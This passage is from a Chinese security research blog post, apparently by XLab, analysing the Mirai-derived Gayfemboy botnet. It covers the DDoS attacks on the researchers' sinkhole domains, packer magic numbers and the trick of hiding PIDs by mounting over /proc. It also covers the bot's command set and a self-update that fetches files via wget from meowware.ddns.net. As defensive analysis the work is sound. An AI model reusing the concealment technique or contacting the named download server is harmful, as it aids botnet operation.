src="https://wechat2rss.xlab.app/img-proxy/?k=b86d478e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrz1Nvrdbm5F9pGiadGydvYlgBJ8UgNFlazHdhrgAjB65tLwQrcGzqibaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;text-align: start;font-size: 14px;"></span><span style="font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><h2><strong>攻击能力</strong></h2><p><span style="font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.034em;">我们将抢注的Gayfemboy域名解析到了云厂商的VPS。Gayfemboy的所有者发现后开始定期对我们注册的域名发起DDoS攻击，每次攻击时长10到30秒。云厂商发现我们的VPS被攻击后会立即将我们的VPS流量黑洞路由24小时以上，这将导致我们的VPS无法提供服务，也无法访问(我们的VPS还没有被Gayfemboy打死，就被云厂商先干死了，云厂商服务策略如此)。一旦VPS服务恢复，Gayfemboy又攻过来了。因为我们没有购买抗DDoS服务，最终选择停止解析Gayfemboy的域名。部分攻击指令记录如下图所示：</span></p><p><img class="rich_pages wxw-img" data-imgfileid="100000181" data-ratio="0.0962962962962963" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c93c95d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrQLYWsr8fV4gUXicxa0icAlPKbxTfDdwcoImhaS9xhm1HRnywmRXW04pQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-stretch: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);margin-top: 0px;margin-bottom: 0px;line-height: normal;"><span style="font-size: 14px;">根据云厂商提供的流量监控服务可以看到Gayfemboy攻击流量可能在</span><code style="box-sizing: inherit;border-width: 1px;border-style: solid;border-color: rgb(225, 234, 239);font-style: inherit;font-variant: inherit;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;"><span style="font-size: 14px;">百G</span></code><span style="font-size: 14px;">左右。</span></p><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-stretch: inherit;line-height: 1.6em;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin-top: max(3.2vmin, 24px);margin-bottom: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100000189" data-ratio="0.3108935128518972" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="817" src="https://wechat2rss.xlab.app/img-proxy/?k=d1030fcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmr6Kjw3J2ia8AwLFZkf4UaGe3WJ06lTb97AIBXxsj7dwcKnufNUZEcRSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1><span style="font-size: 20px;"><strong><br/></strong></span></h1><h1><span style="font-size: 20px;"><strong>样本分析</strong></span></h1><p><span style="font-size: 14px;">该家族使用魔改UPX壳，早期使用的幻数为&#34;YTS\x99&#34;，自2024年6月之后开始使用独特幻数&#34;1wom&#34;</span></p><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-stretch: inherit;line-height: 1.6em;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin-top: max(3.2vmin, 24px);margin-bottom: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100000187" data-ratio="0.27483443708609273" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="604" src="https://wechat2rss.xlab.app/img-proxy/?k=70fe31e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrMAiazPOjdIruRq1Oe0ap4C2Et5xoRo4ZUYNw0VqZgKVMUnItTF4JYiag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p><span style="font-size: 14px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">在代码方面基于Mirai进行修改：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">删除Mirai字符串表，使用明文字符串</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">添加隐藏pid函数</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">修改上线包为&#34;gayfemboy&#34;</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">添加新的指令功能</span></p></li></ul><p><span style="font-size: 14px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">为增加分析难度、保护程序，botnet开发者往往会对字符串进行加密，但该开发者似乎不重视字符串的保护，字符串全部使用明文，样本在运行后会输出&#34;we gone now\n&#34;，该特征从发现样本开始一直没有改变</span></p><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-stretch: inherit;line-height: 1.6em;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin-top: max(3.2vmin, 24px);margin-bottom: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100000190" data-ratio="0.6030150753768844" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="995" src="https://wechat2rss.xlab.app/img-proxy/?k=c7234591&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrNYFhbLXmgxKWBTPVqAfRnRicFcNIX10jDgrJOQa5xogE7yQdtBTO8TA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">为隐藏恶意进程，样本启动后会尝试从根目录开始查找可写入的目录，并尝试写入随机的2032字节文件test_write作为测试，成功后会删除该文件，在遇到以下目录时会跳过</span></p><pre style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-stretch: inherit;line-height: 1.5em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin-top: max(3.2vmin, 24px);padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: var(--color-wash);overflow: auto;letter-spacing: normal;text-align: start;"><p style="margin-top: 0px;margin-bottom: 0px;line-height: normal;"><code style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;vertical-align: baseline;"><span style="font-size: 14px;">/proc<br/>/sys<br/>/dev/fd<br/>/boot<br/></span></code></p></pre><p><span style="font-size: 14px;">当找到可写入目录时，尝试通过挂载该目录到/proc/&lt;pid&gt;上使该进程在/proc文件系统中不可见，以此隐藏指定的PID。</span></p><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-stretch: inherit;line-height: 1.6em;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin-top: max(3.2vmin, 24px);margin-bottom: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100000188" data-ratio="0.64" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=804921a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmricBwd3kJZcKQickEDpf0x7Zztnrl4vPzcND1Ac8E3ibNHhH46J5EZrpxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.034em;color: rgba(0, 0, 0, 0.9);text-align: justify;">在网络协议方面，保留了Mirai的指令格式，修改上线包并添加新的指令功能：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000199" data-ratio="1.097165991902834" data-s="300,640" style="" data-type="png" data-w="247" src="https://wechat2rss.xlab.app/img-proxy/?k=42e5efd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrGDWKblxcr4IjqI87NaPZlicDZdG9IQicFDvQAdL3bCqNibtYWlgJ5ldKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;">常规的DDoS相关指令：</span></p><p style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-stretch: inherit;line-height: 1.6em;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin-top: max(3.2vmin, 24px);margin-bottom: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100000186" data-ratio="0.6484210526315789" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="475" src="https://wechat2rss.xlab.app/img-proxy/?k=481aff07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrQ9VMyvnAq6F3jcrAOm4eAyJ4cUiaUwnGjNJcmVic2IphFOJ2aysAjk9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p><span style="font-size: 14px;">当收到自更新指令时，会从指令中获取下载服务器和botid，默认使用meowware.ddns.net作为下载服务器，样本中硬编码了多个下载相关的指令格式字符串</span></p><p><img class="rich_pages wxw-img" data-imgfileid="100000191" data-ratio="0.1523809523809524" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="945" src="https://wechat2rss.xlab.app/img-proxy/?k=ac90392c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmribUEWIA2P5eVj7HUH1hXWJibgoPaSpIT8xsKlV6oDkEFKfWpV5nTPd9w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;">作用是使用wget从固定目录chefrvmanabat下载文件，以botid为参数执行。</span></p><p><span style="font-size: 14px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">当收到扫描指令时，从指令中解析多个自定义参数，如扫描端口、上报服务器、上报端口、验证返回包等</span></p><p><img class="rich_pages wxw-img" data-imgfileid="100000192" data-ratio="0.8031383737517832" style="color: rgb(21, 23, 26);font-family: inherit;letter-spacing: normal;text-align: start;box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;display: block;" data-type="png" data-w="701" src="https://wechat2rss.xlab.app/img-proxy/?k=f31c36b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbhtpUqU3DGozgNWd8QiaUrmrJvBAmsg3FxUz0L4YDtAm4dsenribn2k5U5CuzovDaTAym8TdDrmt40Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1></h1><h1><br/></h1><h1><span style="font-size: 20px;"><strong>总结</strong></span></h1><p><span style="font-size: 14px;">DDoS（分布式拒绝服务）作为一种高度可重复使用且成本相对较低的网络攻击武器，因其能够通过分布式僵尸网络、恶意工具或放大技术，瞬间发起大规模流量攻击，对目标网络资源进行耗尽、瘫痪或服务中断，已成为网络攻击中最常见和最具有破坏力的手段之一。其攻击模式多样化、攻击路径隐蔽性强，并能通过不断变化的策略与技术手段，针对不同的行业和系统实施精准打击，从而对企业、政府机构和个人用户造成严重威胁。企事业和个人应从不同层面制定完善的防御策略降低DDoS攻击的风险，提升系统的整体抗压能力。</span></p><section style="margin-top: 0px;margin-bottom: 0px;line-height: normal;"><section style="display: none;line-height: normal;"><br/></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://blog.xlab.qianxin.com/gayfemboy/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=16dbf41f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247483855%26idx%3D1%26sn%3D673c3272020a9c6f174e03228c1914da%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 08 Jan 2025 13:25:00 +0800</pubDate>
    </item>
  </channel>
</rss>